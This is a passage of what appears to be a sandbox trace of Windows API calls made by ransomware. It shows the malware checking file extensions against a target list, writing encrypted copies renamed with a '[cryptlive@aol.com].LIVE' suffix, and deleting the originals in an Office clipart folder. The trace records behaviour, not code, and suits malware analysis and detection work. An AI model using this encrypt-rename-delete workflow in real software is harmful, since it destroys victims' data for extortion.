Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF") returned 63 [0159.119] lstrlenW (lpString=".zip") returned 4 [0159.119] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.119] lstrlenW (lpString=".rar") returned 4 [0159.119] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.119] lstrlenW (lpString=".bz2") returned 4 [0159.119] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.119] lstrlenW (lpString=".7z") returned 3 [0159.119] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF") returned 63 [0159.119] lstrlenW (lpString=".dbf") returned 4 [0159.119] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF") returned 63 [0159.119] lstrlenW (lpString=".1cd") returned 4 [0159.119] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF") returned 63 [0159.120] lstrlenW (lpString=".jpg") returned 4 [0159.120] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.120] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0159.120] lstrlenW (lpString="J0152622.WMF") returned 12 [0159.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152622.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0159.454] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=9604) returned 1 [0159.454] CloseHandle (hObject=0x1fc) returned 1 [0159.454] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152622.wmf")) returned 0x20 [0159.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152622.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0159.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152622.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0159.524] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.524] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152622.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0159.525] GetLastError () returned 0x0 [0159.525] ReadFile (in: hFile=0x1b8, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x2584, lpOverlapped=0x0) returned 1 [0159.602] WriteFile (in: hFile=0x350, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x2590, lpOverlapped=0x0) returned 1 [0159.603] ReadFile (in: hFile=0x1b8, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0159.603] WriteFile (in: hFile=0x350, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0159.603] SetEndOfFile (hFile=0x350) returned 1 [0159.603] CloseHandle (hObject=0x350) returned 1 [0159.603] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.603] SetEndOfFile (hFile=0x1b8) returned 1 [0159.605] CloseHandle (hObject=0x1b8) returned 1 [0159.605] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0159.606] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152622.wmf")) returned 1 [0159.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF") returned 63 [0159.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF") returned 63 [0159.606] lstrlenW (lpString=".doc") returned 4 [0159.606] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.606] lstrlenW (lpString=".docx") returned 5 [0159.606] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0159.606] lstrlenW (lpString=".pdf") returned 4 [0159.607] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.607] lstrlenW (lpString=".xls") returned 4 [0159.607] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.607] lstrlenW (lpString=".xlsx") returned 5 [0159.607] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0159.607] lstrlenW (lpString=".ppt") returned 4 [0159.607] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF") returned 63 [0159.607] lstrlenW (lpString=".zip") returned 4 [0159.607] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.607] lstrlenW (lpString=".rar") returned 4 [0159.607] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.607] lstrlenW (lpString=".bz2") returned 4 [0159.607] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.607] lstrlenW (lpString=".7z") returned 3 [0159.607] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF") returned 63 [0159.607] lstrlenW (lpString=".dbf") returned 4 [0159.607] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF") returned 63 [0159.607] lstrlenW (lpString=".1cd") returned 4 [0159.607] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF") returned 63 [0159.607] lstrlenW (lpString=".jpg") returned 4 [0159.607] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF") returned 63 [0159.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF") returned 63 [0159.607] lstrlenW (lpString=".doc") returned 4 [0159.607] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.607] lstrlenW (lpString=".docx") returned 5 [0159.607] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0159.607] lstrlenW (lpString=".pdf") returned 4 [0159.607] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.607] lstrlenW (lpString=".xls") returned 4 [0159.607] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.608] lstrlenW (lpString=".xlsx") returned 5 [0159.608] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0159.608] lstrlenW (lpString=".ppt") returned 4 [0159.608] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF") returned 63 [0159.608] lstrlenW (lpString=".zip") returned 4 [0159.608] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.608] lstrlenW (lpString=".rar") returned 4 [0159.608] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.608] lstrlenW (lpString=".bz2") returned 4 [0159.608] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.608] lstrlenW (lpString=".7z") returned 3 [0159.608] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF") returned 63 [0159.608] lstrlenW (lpString=".dbf") returned 4 [0159.608] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF") returned 63 [0159.608] lstrlenW (lpString=".1cd") returned 4 [0159.608] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152622.WMF") returned 63 [0159.608] lstrlenW (lpString=".jpg") returned 4 [0159.608] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.608] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0159.608] lstrlenW (lpString="J0152696.WMF") returned 12 [0159.608] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152696.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0159.630] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=7320) returned 1 [0159.630] CloseHandle (hObject=0x384) returned 1 [0159.630] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152696.wmf")) returned 0x20 [0159.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152696.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0159.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152696.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0159.664] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.664] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152696.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0159.664] GetLastError () returned 0x0 [0159.664] ReadFile (in: hFile=0x1fc, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x1c98, lpOverlapped=0x0) returned 1 [0159.677] WriteFile (in: hFile=0x1b4, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x1ca0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x1ca0, lpOverlapped=0x0) returned 1 [0159.678] ReadFile (in: hFile=0x1fc, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0159.678] WriteFile (in: hFile=0x1b4, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0159.679] SetEndOfFile (hFile=0x1b4) returned 1 [0159.679] CloseHandle (hObject=0x1b4) returned 1 [0159.679] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.679] SetEndOfFile (hFile=0x1fc) returned 1 [0159.681] CloseHandle (hObject=0x1fc) returned 1 [0159.681] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0159.848] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152696.wmf")) returned 1 [0159.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF") returned 63 [0159.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF") returned 63 [0159.860] lstrlenW (lpString=".doc") returned 4 [0159.860] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.860] lstrlenW (lpString=".docx") returned 5 [0159.860] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0159.860] lstrlenW (lpString=".pdf") returned 4 [0159.860] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.860] lstrlenW (lpString=".xls") returned 4 [0159.860] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.860] lstrlenW (lpString=".xlsx") returned 5 [0159.860] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0159.860] lstrlenW (lpString=".ppt") returned 4 [0159.860] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF") returned 63 [0159.860] lstrlenW (lpString=".zip") returned 4 [0159.860] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.860] lstrlenW (lpString=".rar") returned 4 [0159.860] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.860] lstrlenW (lpString=".bz2") returned 4 [0159.860] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.860] lstrlenW (lpString=".7z") returned 3 [0159.860] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF") returned 63 [0159.860] lstrlenW (lpString=".dbf") returned 4 [0159.861] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF") returned 63 [0159.861] lstrlenW (lpString=".1cd") returned 4 [0159.861] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF") returned 63 [0159.861] lstrlenW (lpString=".jpg") returned 4 [0159.861] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF") returned 63 [0159.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF") returned 63 [0159.861] lstrlenW (lpString=".doc") returned 4 [0159.861] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.861] lstrlenW (lpString=".docx") returned 5 [0159.861] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0159.861] lstrlenW (lpString=".pdf") returned 4 [0159.861] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.861] lstrlenW (lpString=".xls") returned 4 [0159.861] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.861] lstrlenW (lpString=".xlsx") returned 5 [0159.861] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0159.861] lstrlenW (lpString=".ppt") returned 4 [0159.861] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF") returned 63 [0159.861] lstrlenW (lpString=".zip") returned 4 [0159.861] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.861] lstrlenW (lpString=".rar") returned 4 [0159.861] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.861] lstrlenW (lpString=".bz2") returned 4 [0159.861] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.861] lstrlenW (lpString=".7z") returned 3 [0159.861] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF") returned 63 [0159.861] lstrlenW (lpString=".dbf") returned 4 [0159.861] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF") returned 63 [0159.861] lstrlenW (lpString=".1cd") returned 4 [0159.861] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF") returned 63 [0159.862] lstrlenW (lpString=".jpg") returned 4 [0159.862] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.862] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0159.862] lstrlenW (lpString="J0152876.WMF") returned 12 [0159.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152876.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0159.874] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=7876) returned 1 [0159.874] CloseHandle (hObject=0x384) returned 1 [0159.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152876.wmf")) returned 0x20 [0159.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152876.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0159.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152876.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0159.938] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.938] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152876.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0159.939] GetLastError () returned 0x0 [0159.939] ReadFile (in: hFile=0x350, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x1ec4, lpOverlapped=0x0) returned 1 [0159.956] WriteFile (in: hFile=0x1fc, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x1ed0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x1ed0, lpOverlapped=0x0) returned 1 [0159.958] ReadFile (in: hFile=0x350, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0159.958] WriteFile (in: hFile=0x1fc, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0159.958] SetEndOfFile (hFile=0x1fc) returned 1 [0159.958] CloseHandle (hObject=0x1fc) returned 1 [0159.958] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0159.958] SetEndOfFile (hFile=0x350) returned 1 [0159.960] CloseHandle (hObject=0x350) returned 1 [0159.960] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0159.961] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152876.wmf")) returned 1 [0159.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF") returned 63 [0159.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF") returned 63 [0159.962] lstrlenW (lpString=".doc") returned 4 [0159.962] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.962] lstrlenW (lpString=".docx") returned 5 [0159.962] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0159.962] lstrlenW (lpString=".pdf") returned 4 [0159.962] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.962] lstrlenW (lpString=".xls") returned 4 [0159.962] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.962] lstrlenW (lpString=".xlsx") returned 5 [0159.962] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0159.962] lstrlenW (lpString=".ppt") returned 4 [0159.962] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF") returned 63 [0159.962] lstrlenW (lpString=".zip") returned 4 [0159.962] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.962] lstrlenW (lpString=".rar") returned 4 [0159.962] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.962] lstrlenW (lpString=".bz2") returned 4 [0159.962] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.962] lstrlenW (lpString=".7z") returned 3 [0159.962] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF") returned 63 [0159.962] lstrlenW (lpString=".dbf") returned 4 [0159.962] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF") returned 63 [0159.962] lstrlenW (lpString=".1cd") returned 4 [0159.962] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF") returned 63 [0159.962] lstrlenW (lpString=".jpg") returned 4 [0159.962] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF") returned 63 [0159.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF") returned 63 [0159.963] lstrlenW (lpString=".doc") returned 4 [0159.963] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.963] lstrlenW (lpString=".docx") returned 5 [0159.963] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0159.963] lstrlenW (lpString=".pdf") returned 4 [0159.963] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.963] lstrlenW (lpString=".xls") returned 4 [0159.963] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.963] lstrlenW (lpString=".xlsx") returned 5 [0159.963] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0159.963] lstrlenW (lpString=".ppt") returned 4 [0159.963] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF") returned 63 [0159.963] lstrlenW (lpString=".zip") returned 4 [0159.963] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.963] lstrlenW (lpString=".rar") returned 4 [0159.963] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.963] lstrlenW (lpString=".bz2") returned 4 [0159.963] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.963] lstrlenW (lpString=".7z") returned 3 [0159.963] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF") returned 63 [0159.963] lstrlenW (lpString=".dbf") returned 4 [0159.963] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.963] lstrlenW (lpString="C:\\Program Files\\Microsoft 